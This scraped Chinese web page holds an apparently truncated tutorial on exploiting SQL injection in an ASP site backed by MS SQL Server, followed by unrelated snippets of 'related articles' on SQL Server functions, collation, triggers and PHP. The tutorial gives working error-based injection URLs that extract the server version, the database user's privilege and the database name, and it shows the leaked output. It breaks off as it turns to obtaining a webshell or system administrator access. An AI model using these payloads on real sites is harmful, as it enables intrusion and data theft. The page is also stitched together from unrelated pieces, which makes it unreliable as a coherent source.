榨干MSSQL Server最后一滴血

风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。

以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多说这方面了。

MS SQL内置函数介绍:

@@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name() 得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME() 得到当前主机的名称

这些信息有助我们对系统进行简单的了解

好,下面我们就开始吧!

语句: http://www.xxx.com/list.asp?classid=1'

返回信息:

Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未闭合的引号。 /list.asp,行290

从这里未闭合的引号(“’”),我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了,利用以上介绍的函数为我们工作了:

语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)

返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

相关的信息出来了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,从MS SQL SERVER 后面的8.00.760可看出是SP3补丁。看了服务器的信息,接下应该了解数据库的权限了:

语句:http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’

返回: 正常返回的信息

确定是权限是DBO,从表面DBO权限的连接用户经常是涉及SYSADMIN服务器角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用户。

返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:

语句:http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())

返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。

语句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'GameIMGSys' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取决于当前服务器的配置,如果配置不合理的服务器,我们要直接拿NT ADMIN,拿NT ADMIN就要用到:

时间: 2024-09-27 10:20:12

榨干MSSQL Server最后一滴血的相关文章

MSSQL SERVER 2005 数学函数整理

MSSQL SERVER 2005 数学函数 1.求绝对值 ABS() select FWeight-50,ABS(FWeight-50),ABS(-5.38) from T_Person 2.求幂 POWER(X,Y) 用来计算X的Y次幂 select FWeight,POWER(FWeight,-0.5),POWER(FWeight,2), POWER(FWeight,3),POWER(FWeight,4) from T_Person select Power(2,2) 3.求平方根 SQR

关于MSSQL SERVER 2005中数据乱码的问题

今天新装了MSSQL SERVER 2005 感觉界面比以前更友好 在想.NET 的界面过度 安装完毕 新建一数据库 插入条记录 发现回显的全部都是 ?????.... 乱码.... 仔细查看了半天 发现数据库的排序规则是德语... 修改方法:数据库属性->选项->排序规则 设置成 CHINESE_PRC_CI_AI 就可以了

对MSsql Server的view使用instead of trigger进行视图更新

server|视图        最近常常使用VIEW,但MSsql Server不允许对关联两个基表以上的VIEW进行更新操作.由于项目上的需要,花了一个晚上的时间研究了一下.抽点时间把过程和心得记录下来.        先看看权威说法:   可更新视图: Microsoft SQL Server 2000 以两种方法增强可更新视图的类别:   INSTEAD OF 触发器:可以在视图上创建 INSTEAD OF 触发器,以使视图可更新.执行 INSTEAD OF 触发器,而不是执行定义触发器

如何建立一个安全的MSSQL SERVER的启动账号?

server|安全         SQL SERVER的安全问题一直是困扰DBA的一个难题,作为开发者和用户希望自己的权限越大越好,最好是SA,而作为DBA希望所有的用户权限越小越好,这总是一对矛盾.一般来说,我们会考虑采用WINDOWS验证模式,建立安全的用户权限,改变SQL SERVER TCP/IP的默认端口...等安全措施,但很多DBA还是忽略了MSSQL SERVER服务的启动账号,这也是一个非常值得重点关注的问题.特别是MSSQL SERVER提供了许多操作系统和注册表扩展存储过程

PHP调用MsSQL Server 2012存储过程获取多结果集(包含output参数)的详解

本篇文章是对PHP调用MsSQL Server 2012存储过程获取多结果集(包含output参数)的方法进行了详细的分析介绍,需要的朋友参考下   [PHP Source Code]: 复制代码 代码如下: $dbh = new PDO('sqlsrv:server=连接地址;Database=数据库名', 用户名, 密码); try {  $procName = "P_Test_GetMixData";  $stmt = $dbh->prepare("EXEC $p

榨干新浪微博所有免费资源 微博实用工具详解(下)

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 第四部分:内容分析 微博内容的分析,可以从内容的全面分析和单条内容的分析着手.这里说到的三个工具都是可以针对非授权微博进行分析,具有指导性意义."微博风云" 这个应用能提供的数据比较全面,有活跃度排名.影响力排名.微博等级等大指标.它们包含了平均每天微博数,本周微博数.微博原创率.活跃粉丝率.认证粉丝数.平均转发和评论条数

数据帝:Win10在猛涨,Win7要榨干

微软已经在Build2016上公布了最新Win10安装量,超过2.7亿台设备成功部署.现在第三方机构Net Applications也来为微软站台,根据该机构3月的统计数据,Win10全球份额再次增长,已达到14.15%,与上个月的12.82%相比增长明显.     相比之下,Win7的日子虽然表面依然风光,但却是日渐衰落.这几个月以来该系统全球份额基本上处于持续下滑状态,2016年3月为51.89%,2月为52.34%,2015年12月为55.66%,跌幅十分明显.虽然微软一直担心Window

php使用pdo连接mssql server数据库实例_php技巧

本文实例讲述了利用php的pdo来连接微软的mssql server数据库的方法,分享给大家供大家参考.具体实现方法如下: 复制代码 代码如下: $dsn = 'mssql:dbname=bookStore_demo;host=192.168.1.106'; $user = 'sa'; $password = '123';     //mssql_connect('192.168.1.106','sa','123');     //echo 22; try {        // echo 11

mssql server 数据库存储过程转换成mysql数据库(1/2)

mssql server 数据库教程存储过程转换成mysql教程数据库 DELIMITER $$ DROP PROCEDURE IF EXISTS ChangeSequence$$ CREATE PROCEDURE ChangeSequence ( _sign INT ,-- 0: 上移 1:下移  TableName VARCHAR(50) ,-- 表名  ItemName VARCHAR(50) ,-- 主键字段名  ItemID INT , -- 主键ID  SortName VARCHA